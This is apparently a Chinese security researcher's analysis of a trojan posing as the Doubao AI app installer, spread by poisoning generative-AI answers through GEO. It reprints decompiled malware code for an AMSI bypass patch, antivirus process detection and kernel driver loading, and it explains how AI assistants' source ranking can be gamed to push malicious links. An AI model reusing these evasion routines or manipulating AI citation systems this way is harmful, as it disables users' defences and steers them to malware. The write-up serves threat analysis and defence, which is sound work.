GEO与AI投毒样本(“豆包”)分析
本文主要内容是:攻击者把 GEO 技术"武器化",让恶意下载站被生成式 AI 当作权威答案推荐给用户,从而完成"投毒 → 诱导下载 → 落地执行"的闭环。
前言
本文主要内容是:攻击者把 GEO 技术"武器化",让恶意下载站被生成式 AI 当作权威答案推荐给用户,从而完成"投毒 → 诱导下载 → 落地执行"的闭环。
关键事实速览
项目 | 值 |
主样本 doubaoai-app.exe SHA256 | b18e6df04b25b7f15e2ffb884315cc25abb0ff84ca30c6382543f9e4ae9243a3 |
二级样本 ConfigManager.exe SHA256 | 0b901dcc4f13f0ddc65e886ca59fac64c78f9381cb0f27e80414773c263371af |
仿冒/恶意域名 | doubao-app.com、doubao-zh.hl.cn |
持久化 | 计划任务 AdobeAcrobatUpdate-8776 / AdobeAcrobatUpdate-F130 |
落地点 | %Temp%\ConfigManager.exe、%AppData%\Roaming\B2D6568600009934\ |
反检测手段 | UAC 绕过、禁用 Defender 策略、AMSI 内存补丁、杀软进程枚举、内核驱动加载 |
GEO 与 SEO 技术原理对比
SEO(搜索引擎优化):针对传统搜索引擎(Google、Bing、百度等)的算法特性,对网站进行技术、内容和外链层面的优化,目的是提高网页在搜索结果页(SERP)中的自然排名,获取免费流量。
GEO(生成式引擎优化):针对生成式AI平台(如ChatGPT、DeepSeek、Perplexity等)的知识召回与答案生成机制进行优化,目的是让品牌或网站的结构化信息被AI模型识别、信任,并在其生成的回答中直接引用。
两者在底层逻辑、输出载体、优化对象、索引方式及核心壁垒上存在本质区别,具体对比如下表:
对比维度 | 传统SEO | 生成式引擎优化(GEO) |
底层逻辑 | 关键词密度、外链权重、域名年龄 | 语义相似度、实体关系、事实一致性 |
输出载体 | 搜索结果页的文字链与摘要 | AI生成的段落、表格、要点式综合答案 |
优化对象 | 网页(URL)及其HTML内容 | 语义向量、知识图谱中的实体与关系 |
索引方式 | 倒排索引(基于关键词→文档映射) | 向量数据库(密集向量检索)+ 图数据库 |
核心壁垒 | 海量高质量外链资源 | 高质量结构化数据与跨平台权威引用 |
1. SEO的“三层架构”:爬取 → 索引 → 排名
SEO的技术根基建立在传统搜索引擎的三级工作流之上:
爬取(Crawling):搜索引擎通过爬虫程序(如Googlebot)遍历互联网上的公开网页。优化的技术重点包括:服务器响应速度(推荐使用CDN、启用HTTP/2)、移动端适配(移动优先索引已成强制标准)、内部链接结构(避免孤立页面与死链)。据2025年行业统计,约有35%的网站存在阻碍正常爬取的技术问题,优化爬取预算可使自然流量提升15%-20%。
索引(Indexing):搜索引擎将爬取到的网页内容解析、去重并存入索引库。其核心数据结构是倒排索引——以“关键词”为中心,记录该词出现在哪些文档中,从而支持毫秒级检索。此阶段需确保URL规范化、语义化HTML结构(如<h1>、<article>、<schema>标记)完整,避免noindex标签误用。
2.1 SEO 的"三层架构":爬取 → 索引 → 排名
SEO 的技术根基建立在传统搜索引擎的三级工作流之上:
- 爬取(Crawling):搜索引擎通过爬虫程序(如 Googlebot)遍历互联网上的公开网页。优化的技术重点包括:服务器响应速度(推荐使用 CDN、启用 HTTP/2)、移动端适配(移动优先索引已成强制标准)、内部链接结构(避免孤立页面与死链)。据 2025 年行业统计,约有 35% 的网站存在阻碍正常爬取的技术问题,优化爬取预算可使自然流量提升 15%–20%。
- 索引(Indexing):搜索引擎将爬取到的网页内容解析、去重并存入索引库。其核心数据结构是倒排索引——以"关键词"为中心,记录该词出现在哪些文档中,从而支持毫秒级检索。此阶段需确保 URL 规范化、语义化 HTML 结构(如
<h1>、<article>、<schema>标记)完整,避免noindex标签误用。 - 排名(Ranking):当用户发起查询时,搜索引擎依据 TF-IDF、BM25 等算法评估文档与查询的匹配度,再经 PageRank 等链接分析算法综合排序。近年来,Google 还引入了 BERT、RankBrain 等机器学习模型,以更好地理解查询意图与上下文。最终排名是相关性、权威性、用户体验(加载速度、跳出率、移动友好度)的加权结果。
2.2 GEO 的"三层能力":被发现 → 被理解 → 被推荐
GEO 并非简单复用 SEO 方法,而是基于大语言模型(LLM)的 RAG(检索增强生成)架构构建的全新优化体系。完整的 GEO 链路可概括为"被发现—被理解—被推荐"三层递进能力:
- 基础层:被发现。确保 AI 模型的检索模块能够抓取到品牌内容。与传统爬虫不同,生成式引擎的数据来源更加多元:既包括公开网页(由通用爬虫获取),也包括知识库(如 Wikidata)、结构化开放数据(如 Schema.org 标记的实体)、以及授权 API 接入的第一方数据。优化策略是在多个高可信平台(政府网站、学术数据库、行业知识库)留下品牌信息的"痕迹",提高覆盖广度。
- 核心层:被理解。AI 模型需要将内容转化为语义向量,并建立实体关系。这要求内容具有极高的结构化程度与语义清晰度。技术上,广泛使用 JSON-LD 格式的 Schema 标记(如
Product、Organization、Claim等实体类型)、保持术语一致性、提供丰富的数据表格与列表,能显著提升 AI 的理解效率。内容越接近"知识图谱节点"而非"散文段落",被正确引用的概率越高。 - 目标层:被推荐。AI 在生成答案时,会从多个检索结果中选择最相关、最权威、最新鲜的信息片段进行融合。因此,除了基础的结构化与可发现性,还需构建信任资产:包括域名的长期稳定性、外部权威来源的引用(如被主流媒体或学术论文提及)、事实准确性的可验证性(提供明确的参考文献链接)。当前主流的 GEO 技术方案中,一般包含四层自研架构:L1 数据底座层(原始资料结构化)、L2 语义处理层(向量检索与合规过滤)、L3 任务调度层(多平台适配)、L4 数据观测层(收录监测与指标统计)。
3. GEO 投毒攻击原理:
3.1 DeepSeek 答案来源机制(以"代码审计"为例)
以 DeepSeek 为例,当输入一个问题时,会提供答案的来源。如下图所示:当输入代码审计的问题时,可以看见来源主要是一些专业论坛、知名从业人员等(例如:网安一哥奇安信、博客园、前辈 phith0n 等)。

以输入的"代码审计"问题为例,DeepSeek 给出的答案引用来源主要呈现以下特征:
- 专业论坛(如博客园、LINUX DO 等):技术社区内容在 DeepSeek 的技术类问题回答中占据高权重。这类来源的优势在于:内容由一线开发者产出,具有实操性和可验证性;讨论串形式覆盖了多种场景和边缘情况;社区声誉机制天然筛选了高质量内容。
- 知名从业人员(如前辈 phith0n 等安全领域专家):个人技术博客或知名从业者的公开发布内容,因其专业深度和行业认可度,在 DeepSeek 的信源评分中获得较高的"权威性"与"可信度"加分。DeepSeek 的 RAG 机制在检索阶段会对信源进行初步的权威性评分,只有通过初筛的文档才会进入后续的推理生成环节。
- 权威机构(如奇安信等网安头部企业):头部安全厂商发布的技术报告、漏洞分析、最佳实践等内容,兼具专业深度与机构背书,在 DeepSeek 的信源筛选中具有明显优势。DeepSeek 在生成阶段的交叉验证机制,会优先采信多个权威信源共同验证的信息。
3.2 DeepSeek 的 RAG 双引擎架构
DeepSeek 采用检索引擎与生成引擎独立协同的双引擎 RAG 架构:
- 底层检索引擎:分布式大容量检索引擎,支持 PB 级知识库的毫秒级响应,负责从全网公开信息、授权知识库、垂直领域数据库中召回相关文档。
- 上层生成引擎:基于 DeepSeek 大模型的深度推理能力,对召回的文档进行理解、验证、整合与生成。
3.3 四阶段引用决策流程
DeepSeek 从接收用户查询到最终生成带引用标注的答案,完整经历四个核心决策阶段:
决策阶段 | 核心动作 | 内容筛选标准 |
查询理解阶段 | 实体识别、意图解析、语境消歧 | 准确理解用户提问的真实意图 |
候选召回阶段 | 多路检索、向量匹配 | 语义相似度、信源覆盖度 |
信源评分阶段 | 多维度打分、重排 | 权威性、内容质量、语义相关、时效性等 |
答案生成阶段 | 交叉验证、融合生成 | 事实一致性、多源佐证 |
3.4 DeepSeek 引用内容的四大核心因素
DeepSeek 决定引用谁、推荐谁,主要受四个核心因素影响:
- 内容权威性:DeepSeek 倾向引用结构清晰、内容优质、信息准确的页面——开篇有明确结论、段落自包含、有对比表或步骤、覆盖追问子问题。营销话术、内容空洞或信息错误的内容难以被引用。
- 品牌实体清晰度:如果品牌在不同渠道描述不一致,DeepSeek 难以建立稳定理解,就不会在相关提问里推荐该品牌。核心描述统一、与业务能力稳定关联的品牌,更容易被准确识别和推荐。
- 问法匹配度:DeepSeek 基于用户提问生成回答,只有内容匹配用户的提问意图,才会被引用。企业需要覆盖决策类、对比类、咨询类等真实问法。
- 来源可信度:DeepSeek 综合多个内容来源——搜索引擎索引、权威媒体、知识平台、技术社区。来自权威媒体、知名平台、官方渠道的内容可信度高,更易被引用。
3.5 "GEO 投毒"攻击链
将 3.1–3.4 的机制反过来用,即构成投毒攻击。攻击者无需攻破 AI,只需制造"符合 AI 引用偏好"的恶意内容,让 AI 主动把用户导向恶意站点:

于是乎,某些人群通过GEO来影响主流ai,投放一些恶意软件进行投毒。接下来进入实际案例
实际案例——伪装豆包AI助手样本分析
故事的开端是用户在生成式 AI 中询问"豆包官方下载地址",得到如下回答(注意其中混入了真实主域与仿冒子域):

doubaoai-app.exe
访问网址之后,发现是做了包装的

hash
SHA256:b18e6df04b25b7f15e2ffb884315cc25abb0ff84ca30c6382543f9e4ae9243a3
MD5:b29624864550b151143c6a461ba6288d
SHA1:c227d58ec808a27ff372b2e031e1ec5e6fd402bc动态行为分析
创建ConfigManager.exe

执行ConfigManager.exe

找到落地文件

其他行为,找到释放文件路径即可
### 1. 进程创建与执行
- 创建位置 : C:\Users\orange\Desktop\doubaoai-app.exe (EXEC_create)
- 执行 ConfigManager.exe :通过 C:\Users\orange\AppData\Local\Temp\ConfigManager.exe (PROC_exec, target_pid:3652)
### 2. 文件操作
- 写入 ConfigManager.exe :
- C:\Users\orange\AppData\Local\Temp\ConfigManager.exe (FILE_touch, FILE_write, FILE_modified)
- 访问安装程序 :
- C:\Users\orange\AppData\Local\Temp\Doubao_installer_2.1.8.exe (FILE_open)
### 3. 注册表操作
- 系统策略 :
- HKEY_LOCAL_MACHINE\SOFTWARE\Policies
- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers
- Explorer 配置 :
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions
- 多个 {GUID}\PropertyBag\ThisPCPolicy 键的查询
- 文件关联 :
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
- 用户配置 :
- HKEY_USERS\S-1-5-21-23748335-3516904018-4237679811-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\ExplorerConfigManager.exe样本核心功能
hash
SHA256:0b901dcc4f13f0ddc65e886ca59fac64c78f9381cb0f27e80414773c263371af
MD5:e36064a805db9c95199814265a7f2225
SHA1:2cbd8ff50297bd100ee4892503ac7870c7a7b9a8IDA静态分析
使用IDA MCP让其提供恶意样本的核心功能及行为

权限提升
通过GetTokenInformation 函数调用,检查当前进程是否以管理员身份运行。如果没有管理员权限,使用 ShellExecuteExA 以 "runas" 动词重新启动程序
// 尝试打开当前进程的访问令牌,获取查询权限
if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
{
// 清空TokenInformation变量,确保初始值为0
memset(&TokenInformation, 0, sizeof(TokenInformation));
// 设置缓冲区大小为4字节(TOKEN_ELEVATION结构体大小)
TokenInformationLength = 4;
// 获取令牌的提升状态,判断是否以管理员权限运行
if ( GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &TokenInformationLength) )
// 如果获取成功,将提升状态存储到v5变量
// v5非0表示具有管理员权限
v5 = TokenInformation;
// 关闭令牌句柄,释放系统资源
CloseHandle(TokenHandle);
}
sub_140001EA0函数获取 "runas" 字符串

禁用 Windows Defender 和安全中心
HKLM\SOFTWARE\Policies\Microsoft\Windows Defendersub_140001740函数用于修改 AmsiScanBuffer 函数,通过内存补丁禁用 Windows

// 函数功能:恶意代码核心逻辑 —— 绕过 Windows AMSI(反恶意软件扫描接口)
// 目的:让杀毒软件/系统安全机制无法检测后续的恶意行为
void sub_140001740()
{
HANDLE CurrentProcess; // rax,当前进程句柄
int i; // [rsp+30h] [rbp-B8h],循环计数器
unsigned int v2; // [rsp+34h] [rbp-B4h] BYREF,内存保护属性临时变量
FARPROC v3; // [rsp+38h] [rbp-B0h],最终要修改的 AmsiScanBuffer 函数地址
HMODULE v4; // [rsp+40h] [rbp-A8h],加载的动态库句柄(amsi.dll / kernel32.dll)
HMODULE hModule; // [rsp+48h] [rbp-A0h],获取的模块句柄
FARPROC ProcAddress; // [rsp+50h] [rbp-98h],LoadLibraryW 函数地址
_BYTE v7[8]; // [rsp+58h] [rbp-90h] BYREF,要写入的恶意机器码
CHAR ProcName[16]; // [rsp+60h] [rbp-88h] BYREF,函数名:LoadLibraryW
char v9[16]; // [rsp+70h] [rbp-78h] BYREF,函数名:AmsiScanBuffer
_WORD v10[28]; // [rsp+80h] [rbp-68h] BYREF,宽字符字符串:要加载的 DLL 名称
CHAR ModuleName[24]; // [rsp+B8h] [rbp-30h] BYREF,模块名:kernel32.dll
// 关键判断:全局钩子/函数指针存在才执行(恶意环境初始化标记)
if ( qword_14003A528 )
{
// 拼接宽字符串:amsi.dll(反恶意软件接口核心 DLL)
v10[0] = 97; // a
v10[1] = 109; // m
v10[2] = 115; // s
v10[3] = 105; // i
v10[4] = 46; // .
v10[5] = 100; // d
v10[6] = 108; // l
v10[7] = 108; // l
v10[8] = 0; // 结束符
// 目标函数:AmsiScanBuffer(AMSI 核心扫描函数)
strcpy(v9, "AmsiScanBuffer");
// 拼接宽字符串:kernel32.dll
v10[12] = 107; // k
v10[13] = 101; // e
v10[14] = 114; // r
v10[15] = 110; // n
v10[16] = 101; // e
v10[17] = 108; // l
v10[18] = 51; // 3
v10[19] = 50; // 2
v10[20] = 46; // .
v10[21] = 100; // d
v10[22] = 108; // l
v10[23] = 108; // l
v10[24] = 0; // 结束符
// 要获取的函数:LoadLibraryW(加载 DLL 的关键 API)
strcpy(ProcName, "LoadLibraryW");
v4 = 0;
// 解密/解析模块名:kernel32.dll
sub_140001010(ModuleName, &unk_1400215B8, 12);
// 获取 kernel32.dll 模块句柄
hModule = GetModuleHandleA(ModuleName);
// 成功获取模块
if ( hModule )
{
// 获取 LoadLibraryW 函数地址
ProcAddress = GetProcAddress(hModule, ProcName);
// 成功获取函数
if ( ProcAddress )
// 调用 LoadLibraryW 加载 amsi.dll / kernel32.dll
v4 = (HMODULE)((__int64 (__fastcall *)(_WORD *))ProcAddress)(v10);
}
// 成功加载目标 DLL
if ( v4 )
{
// 获取 AmsiScanBuffer 函数地址(核心目标)
v3 = GetProcAddress(v4, v9);
// 成功获取 AMSI 扫描函数
if ( v3 )
{
// 机器码指令:直接让 AmsiScanBuffer 返回 0(失效)
// xor eax, eax + ret (经典 AMSI 绕过补丁)
v7[0] = 49; // 0x31
v7[1] = -64; // 0xC0
v7[2] = -61; // 0xC3
v7[3] = -112;
v7[4] = -112;
v2 = 0;
// 修改内存属性为可写(PAGE_EXECUTE_READWRITE)
if ( (unsigned int)qword_14003A528(v3, 5, 64, &v2) )
{
// 判断是否使用 NtProtectVirtualMemory / 直接写内存
if ( qword_14003A550 )
{
// 获取当前进程
CurrentProcess = GetCurrentProcess();
// 调用 WriteProcessMemory 写入恶意机器码
qword_14003A550(CurrentProcess, v3, v7, 5, 0);
}
else
{
// 直接内存覆盖写入(更暴力)
for ( i = 0; i < 5; ++i )
*((_BYTE *)v3 + i) = v7[i];
}
// 恢复内存保护属性
qword_14003A528(v3, 5, v2, &v2);
}
}
}
}
}样本中内置大量安全工具相关字符串。检测名单:MsMpEng.exe(Defender)、HipsDaemon.exe(火绒)、360tray.exe(360)、avp.exe(卡巴斯基)、ekrn.exe(ESET NOD32)、QQPCTray.exe(腾讯电脑管家)。该名单反映样本主要面向中文 Windows 环境。

顺着字符串找到sub_140002DF0函数,用于检测杀毒软件

// 函数功能:枚举系统进程,检测是否存在主流杀毒软件进程
// 返回值:1 = 检测到杀软进程 | 0 = 未检测到
__int64 sub_140002DF0()
{
int i; // 循环计数器
unsigned int v2; // 标记位:1=找到杀软进程,0=未找到
DWORD ExitCode; // 接收进程退出码(用于判断进程是否存活)
HANDLE hSnapshot; // 进程快照句柄
HANDLE hProcess; // 打开的目标进程句柄
PROCESSENTRY32 pe; // 进程信息结构体(存储进程名、PID等)
_QWORD v7[7]; // 杀软进程名列表数组
// ====================== 核心:要检测的杀毒软件进程名 ======================
v7[0] = "MsMpEng.exe"; // Windows Defender 杀毒引擎
v7[1] = "HipsDaemon.exe"; // 火绒相关防护进程
v7[2] = "360tray.exe"; // 360安全卫士托盘进程
v7[3] = "avp.exe"; // 卡巴斯基杀毒
v7[4] = "ekrn.exe"; // ESET NOD32杀毒
v7[5] = "QQPCTray.exe"; // 腾讯电脑管家托盘进程
v7[6] = 0; // 数组结束标记
// ====================== 创建系统进程快照 ======================
// 2u = TH32CS_SNAPPROCESS,枚举所有进程
hSnapshot = CreateToolhelp32Snapshot(2u, 0);
// 创建快照失败直接返回0
if (hSnapshot == (HANDLE)-1LL)
return 0;
// 初始化 PROCESSENTRY32 结构体(必须设置大小,否则API调用失败)
pe.dwSize = 304;
// 清空结构体剩余内存
memset(&pe.cntUsage, 0, 0x12Cu);
v2 = 0; // 初始标记:未找到杀软
// ====================== 开始遍历第一个进程 ======================
if (Process32First(hSnapshot, &pe))
{
do
{
// 遍历杀软进程名列表
for (i = 0; v7[i]; ++i)
{
// 对比当前进程名是否 == 杀软进程名(sub_14000CBD0是字符串比较函数)
if (!(unsigned int)sub_14000CBD0(pe.szExeFile, v7[i]))
{
// 匹配成功:打开目标进程(0x1000 = PROCESS_QUERY_LIMITED_INFORMATION)
hProcess = OpenProcess(0x1000u, 0, pe.th32ProcessID);
if (hProcess)
{
ExitCode = 259; // 259 = STILL_ACTIVE(进程运行中)
// 获取进程退出码,判断是否真的在运行
GetExitCodeProcess(hProcess, &ExitCode);
CloseHandle(hProcess); // 关闭进程句柄
// 退出码=259 → 进程正在运行
if (ExitCode == 259)
v2 = 1; // 标记:检测到运行中的杀软
}
break; // 找到一个就跳出循环
}
}
}
// 没找到杀软,就继续遍历下一个进程
while (!v2 && Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot); // 关闭进程快照
return v2; // 返回结果:1=有杀软,0=无杀软
}释放驱动文件
sub_1400037C0 函数主要的作用是创建、加载和清理恶意驱动文件。
IDA伪代码如下:
__int64 sub_1400037C0()
{
size_t v0; // rax
DWORD (__stdcall *v2)(LPVOID); // rax
int v3; // eax
HANDLE CurrentProcess; // rax
_BYTE v5[4]; // [rsp+50h] [rbp-6D8h] BYREF
int v6; // [rsp+54h] [rbp-6D4h]
HKEY hKey; // [rsp+58h] [rbp-6D0h] BYREF
int v8; // [rsp+60h] [rbp-6C8h]
BOOL v9; // [rsp+64h] [rbp-6C4h]
HANDLE hHandle; // [rsp+68h] [rbp-6C0h]
BYTE Data[4]; // [rsp+74h] [rbp-6B4h] BYREF
BYTE v13[4]; // [rsp+78h] [rbp-6B0h] BYREF
BYTE v14[4]; // [rsp+7Ch] [rbp-6ACh] BYREF
HMODULE hModule; // [rsp+80h] [rbp-6A8h]
HANDLE TokenHandle; // [rsp+88h] [rbp-6A0h] BYREF
FARPROC ProcAddress; // [rsp+90h] [rbp-698h]
FARPROC v18; // [rsp+98h] [rbp-690h]
HANDLE FileW; // [rsp+A0h] [rbp-688h]
DWORD v20; // [rsp+A8h] [rbp-680h]
size_t BufferCount; // [rsp+B0h] [rbp-678h]
_BYTE v22[16]; // [rsp+B8h] [rbp-670h] BYREF
_BYTE pSecurityDescriptor[40]; // [rsp+C8h] [rbp-660h] BYREF
struct _TOKEN_PRIVILEGES NewState; // [rsp+F0h] [rbp-638h] BYREF
char Source[8]; // [rsp+100h] [rbp-628h] BYREF
char v26[16]; // [rsp+108h] [rbp-620h] BYREF
CHAR Name[24]; // [rsp+118h] [rbp-610h] BYREF
char Destination[16]; // [rsp+130h] [rbp-5F8h] BYREF
CHAR ModuleName[16]; // [rsp+140h] [rbp-5E8h] BYREF
CHAR ProcName[24]; // [rsp+150h] [rbp-5D8h] BYREF
CHAR MultiByteStr[32]; // [rsp+168h] [rbp-5C0h] BYREF
char v32[40]; // [rsp+188h] [rbp-5A0h] BYREF
WCHAR pObjectName[32]; // [rsp+1B0h] [rbp-578h] BYREF
CHAR SubKey[256]; // [rsp+1F0h] [rbp-538h] BYREF
WCHAR WideCharStr[264]; // [rsp+2F0h] [rbp-438h] BYREF
char Buffer[512]; // [rsp+500h] [rbp-228h] BYREF
sub_140005A60((__int64)byte_14003A668, 8);
sub_140005A60((__int64)Destination, 8);
strcpy(Source, ".sys");
strcat(Destination, Source);
GetTempPathA(0x104u, Str);
BufferCount = 260 - strlen(Str);
v0 = strlen(Str);
snprintf(&Str[v0], BufferCount, "%s", Destination);
if ( !(unsigned int)sub_140005D50(Str) )
return -1;
qword_14003A688 = (__int64)Str;
qword_14003A690 = (__int64)byte_14003A668;
dword_14003A698 = 0;
memset(v5, 0, 1u);
v2 = (DWORD (__stdcall *)(LPVOID))sub_140006930(v5);
hHandle = CreateThread(0, 0, v2, &qword_14003A688, 0, 0);
v6 = 0;
if ( hHandle )
{
if ( WaitForSingleObject(hHandle, 0x1388u) )
TerminateThread(hHandle, 0);
else
v6 = dword_14003A698;
CloseHandle(hHandle);
}
else
{
v6 = sub_140006140(Str, byte_14003A668);
}
if ( v6 )
goto LABEL_33;
sub_140005950(ModuleName, "4.>66t>66", 9);
hModule = GetModuleHandleA(ModuleName);
if ( hModule )
{
sub_140005950(ProcName, &unk_1400219C0, 20);
strcpy(v26, "NtLoadDriver");
ProcAddress = GetProcAddress(hModule, ProcName);
v18 = GetProcAddress(hModule, v26);
if ( ProcAddress )
{
if ( v18 )
{
strcpy(v32, "SYSTEM\\CurrentControlSet\\Services\\");
memset(SubKey, 0, sizeof(SubKey));
snprintf(SubKey, 0x100u, "%s%s", v32, byte_14003A668);
memset(WideCharStr, 0, 0x208u);
MultiByteToWideChar(0, 0, Str, -1, WideCharStr, 260);
hKey = 0;
if ( !RegCreateKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0, 0, 2u, 0, &hKey, 0) )
{
*(_DWORD *)Data = 1;
*(_DWORD *)v13 = 3;
*(_DWORD *)v14 = 0;
RegSetValueExA(hKey, "Type", 0, 4u, Data, 4u);
RegSetValueExA(hKey, "Start", 0, 4u, v13, 4u);
RegSetValueExA(hKey, "ErrorControl", 0, 4u, v14, 4u);
v3 = sub_14000CEF0(WideCharStr);
RegSetValueExW(hKey, L"ImagePath", 0, 2u, (const BYTE *)WideCharStr, 2 * v3 + 2);
RegCloseKey(hKey);
memset(Buffer, 0, sizeof(Buffer));
sprintf_s(Buffer, 0x100u, L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\%S", byte_14003A668);
memset(v22, 0, sizeof(v22));
((void (__fastcall *)(_BYTE *, char *))ProcAddress)(v22, Buffer);
v8 = ((__int64 (__fastcall *)(_BYTE *))v18)(v22);
v9 = !v8 || v8 == -1073741554;
v6 = v9;
if ( !v9 )
RegDeleteKeyA(HKEY_LOCAL_MACHINE, SubKey);
}
}
}
}
if ( v6 )
{
LABEL_33:
if ( !DeleteFileA(Str) )
sub_140005ED0(Str);
sub_140005950(MultiByteStr, &unk_1400218D8, 26);
MultiByteToWideChar(0, 0, MultiByteStr, -1, pObjectName, 32);
TokenHandle = 0;
CurrentProcess = GetCurrentProcess();
if ( OpenProcessToken(CurrentProcess, 0x28u, &TokenHandle) )
{
strcpy(Name, "SeSecurityPrivilege");
NewState.PrivilegeCount = 1;
memset(NewState.Privileges, 0, sizeof(NewState.Privileges));
if ( LookupPrivilegeValueA(0, Name, &NewState.Privileges[0].Luid) )
{
NewState.Privileges[0].Attributes = 2;
AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0);
}
CloseHandle(TokenHandle);
}
memset(pSecurityDescriptor, 0, sizeof(pSecurityDescriptor));
InitializeSecurityDescriptor(pSecurityDescriptor, 1u);
SetSecurityDescriptorDacl(pSecurityDescriptor, 1, 0, 0);
v20 = SetNamedSecurityInfoW(pObjectName, SE_FILE_OBJECT, 4u, 0, 0, 0, 0);
FileW = CreateFileW(pObjectName, 0xC0000000, 3u, 0, 3u, 0x80u, 0);
if ( FileW == (HANDLE)-1LL )
sub_140006690(byte_14003A668);
return (__int64)FileW;
}
else
{
sub_140005ED0(Str);
return -1;
}
}调用 sub_140005A60 函数生成两个随机字符串

然后构造驱动文件路径
sub_140005A60(byte_14003A668, 8); /* 生成8字符的服务名 */
sub_140005A60(Destination, 8); /* 生成8字符的文件名前缀 */
strcpy(Source, ".sys");
strcat(Destination, Source);
GetTempPathA(0x104u, Str);//获取当前用户目录
BufferCount = 260 - strlen(Str);
v0 = strlen(Str);
snprintf(&Str[v0], BufferCount, "%s", Destination);
- GetTempPathA 函数获取的是当前用户的临时目录
- 该函数会检查以下环境变量来确定临时目录:
1. TMP 环境变量
2. TEMP 环境变量
3. USERPROFILE 环境变量(如果前两个不存在)
4. Windows 目录(如果所有环境变量都不存在)
调用 sub_140005D50函数写入驱动文件内容

创建服务注册表项并调用NtLoadDriver 加载驱动服务
注册表路径:HKLM\SYSTEM\CurrentControlSet\Services\

完整功能如下:
### 1. 生成随机名称
- 调用 sub_140005A60 生成两个随机字符串:
- 8字符的服务名(存储在 byte_14003A668 )
- 8字符的文件名前缀
### 2. 构造驱动文件路径
- 获取临时目录路径( GetTempPathA )
- 构造完整路径: %Temp%\8位随机字母.sys
### 3. 写入驱动文件
- 调用 sub_140005D50(Str) 写入驱动文件内容
- 驱动文件内容可能存储在程序的资源段或其他内存区域
### 4. 创建服务注册表项
- 在 HKLM\SYSTEM\CurrentControlSet\Services\{服务名} 创建注册表项
- 设置服务参数:
- Type = 1(驱动服务)
- Start = 3(手动启动)
- ErrorControl = 0(忽略错误)
- ImagePath = 驱动文件完整路径
### 5. 加载驱动
- 调用 NtLoadDriver 加载驱动服务
- 检查加载是否成功
### 6. 清理操作
- 删除临时目录中的驱动文件( DeleteFileA )
- 失败时使用备选删除方法( sub_140005ED0 )
- 如果驱动加载失败,删除服务注册表项释放的驱动文件要进入安全模式才能删除查看

代码注入
sub_140001C40函数主要功能如下:
- 内存分配 :使用 VirtualAlloc (通过 qword_14003A520 )分配可执行内存
- 代码写入 :使用 WriteProcessMemory (通过 qword_14003A538 )写入注入的代码
- 内存保护 :使用 VirtualProtect (通过 qword_14003A528 )修改内存保护属性
- 线程创建 :使用 CreateThread 创建线程执行注入的代码
- 内存清理 :执行完成后清理注入的代码
动态行为监控
禁用 Windows Defender 和安全中心

在下C:\Users\{user}\AppData\Roaming\B2D6568600009934\目录下写入多个文件

修改 Internet Explorer 安全区域设置

释放并尝试安装内核驱动

创建计划任务AdobeAcrobatUpdate-8776

在C:\Windows\System32\Tasks目录找到对应的文件

AdobeAcrobatUpdate-8776文件内容对应ConfigManager.exe

网络通信行为

流程图
ConfigManager.exe运行流程图
ConfigManager.exe运行流程图如下:

简化版的整体流程图

IoC 指标汇总
文件哈希
样本 | 算法 | 值 |
doubaoai-app.exe | SHA256 |
|
doubaoai-app.exe | MD5 |
|
doubaoai-app.exe | SHA1 |
|
ConfigManager.exe | SHA256 |
|
ConfigManager.exe | MD5 |
|
ConfigManager.exe | SHA1 |
|
域名 / URL
类型 | 域名 | 说明 |
仿冒(恶意) |
| 含连字符,非字节跳动官方域 |
仿冒(恶意) |
|
|
官方(对照) |
| 真实豆包主域;攻击者借其名称"沾光" |
真实豆包官方域为
doubao.com(及doubao.com下的标准路径)。任何doubao-app.com、doubao-zh.*等变体均为仿冒。
文件系统痕迹
路径 | 说明 |
| 落地释放的二级样本 |
| 诱导的"安装程序"(被访问) |
| 释放的内核驱动(需安全模式删除) |
| 样本写入的数据/模块目录 |
| 计划任务文件 |
| 计划任务文件(变体) |
注册表 / 持久化
位置 | 说明 |
| 禁用 Defender 策略 |
| 软件限制策略(可能被用于放行/规避) |
| 内核驱动服务项(Type=1, Start=3) |
| 文件关联查询 |
| 用户 Explorer 配置 |